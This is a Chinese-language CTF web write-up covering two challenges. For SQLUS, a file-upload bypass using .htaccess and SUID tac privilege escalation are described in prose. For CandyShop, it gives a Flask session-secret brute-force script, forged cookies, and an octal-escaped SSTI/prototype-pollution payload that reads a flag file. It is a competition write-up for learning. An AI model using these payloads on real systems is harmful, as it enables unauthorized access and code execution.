获取中...

-

Just a minute...

WEB

SQLUS

猜测账户是admin密码是任意一个字符

登录进去后头像那边,可以上传文件,但是文件名里不能有p,尝试传入.htaccess然后传入一个txt当做php执行。

在头像前端看到了上传路径

flag没有权限读,需要提权,反弹shell失败,尝试suid提权。

发现tac有suid权限,直接读文件

CandyShop

1
2
3
4
5
6
7
8
9
import os

with open(r'C:\Users\13664\Desktop\ \工作学习\web\密码字典\admin_week_password.txt','r',encoding='utf-8') as f:
while 1:
data = f.readline().strip('\n')
if len(data)==7:
a = f''' python C:\\Users\\13664\\Desktop\\ \\工作学习\\web\\flask-session-cookie-manager-master\\flask_session_cookie_manager3.py decode -c ".eJwNy00KgCAQQOG7zLqFKaJ2mZjRmZDIwJ9FRHfPt_zgvRBblb3fJxfYgMRoq5wl5dakmBQFCpYCktdR9MxEH0VggZy49NyfeR2DW580GteCF09CRPh-SYsdHg.Zt0G0g.eNn2Bft2QUvmXTbcXpozaEjLyUk" -s "{data}"'''
print(data)
os.system(a)

密钥爆破出来是a123456

利用flask_session_cookie_manager3.py工具伪造出admin的cookie:

1
.eJwVy0EKgCAQQNG7zLqFKaJ2mZjRGZDQQG0R0d2zv3zwH4i9yT7OgytsQGK0Vc6ScmtSTIoCBUsByesoemaijyKwQE5cRx73vDCVXCddnVvFwj8hwvsBRtoc_w.Zt0UvQ.N_DTzK-e1K7fL8ska6zeBgR_5Ks

进入admin之后,admin路由可以原型链污染

由于sold是全局变量,所以可以污染他的值:

1
python .\flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': 'bf325075b071d0eb0b9b95b9ab82cf22223c8cff', 'identity': 'guest', 'username': 'aaa','__init__':{'__globals__':{'sold':500}}}"

获取到了提示

发现sold可控,而且可以模版渲染,但是这里还有一个过滤,字母和下划线全部置空。那就可以八进制绕过:

剩下的就是常规的ssti打法:

1
python .\flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': 'bf325075b071d0eb0b9b95b9ab82cf22223c8cff', 'identity': 'admin', 'username': 'aaa','__init__':{'__globals__':{'sold':'{{()[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\137\\137\'][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\143\\141\\164\\40\\57\\164\\155\\160\\57\\52\\57\\52\\57\\52\\57\\146\\154\\141\\147\')[\'\\162\\145\\141\\144\']()}}'}}}"

执行的命令是:

1
cat /tmp/*/*/*/flag

相关文章
评论
分享
  • 2024鹏城杯web全wp

    python口算-pcb2024123456789101112131415161718192021222324import requestsimport reurl = "http://192.168.18.28"...

    2024鹏城杯web全wp
  • 强网杯2024

    PyBlockly黑名单过滤了所有符号,只能在print里用字母和数字, 1234if check_for_blacklisted_symbols(block['fields']['TEXT']...

    强网杯2024
  • SCTF2024 ezRender

    ezRender这道题主要是成为admin,要成为admin就要伪造cookie,要伪造cookie就要获取jwt密钥。 jwt密钥生成逻辑: 123456789101112131415161718192021import timec...

    SCTF2024 ezRender
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp
  • NepCTF2024部分web

    NepDouble代码过长这里不贴了,看到上传压缩包的第一反应是做一个链接到/flag的软连接,上传上去解压就可以看到flag了,但是这里 12if os.path.islink(new_file): return &...

    NepCTF2024部分web
  • 2024第七届巅峰极客部分wp

    GoldenHornKing源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一...

    2024第七届巅峰极客部分wp
  • 2024春秋杯部分wp

    brother打开题目是?name=hello,还回显了hello,看一下后台语言和框架 一眼ssti模版注入, 1?name={{g.pop.__globals__.__builtins__.__im...

    2024春秋杯部分wp
  • PolarCTF2024夏季个人挑战赛wp

    扫扫看不用扫,猜测是flag.php flag{094c9cc14068a7d18ccd0dd3606e532f} debudaoflag在cookie里: flag{72077a55w312584wb1aaa88888cd...

    PolarCTF2024夏季个人挑战赛wp
  • PolarCTF2024春季个人挑战赛wp

    机器人打开页面: 一眼robots.txt 123User-agent: *Disallow: /27f5e15b6af3223f1176293cd015771dFlag: flag{4749ea1ea481a5d 只有...

    PolarCTF2024春季个人挑战赛wp
  • 第九届中国海洋大学信息安全竞赛web题解

    ezPHPparse_str()可以进行变量覆盖。 全部流量包: 菜狗工具#1python继承链攻击。 1print(().__class__.__base__.__subclasses__()[132].__init__.__gl...

    第九届中国海洋大学信息安全竞赛web题解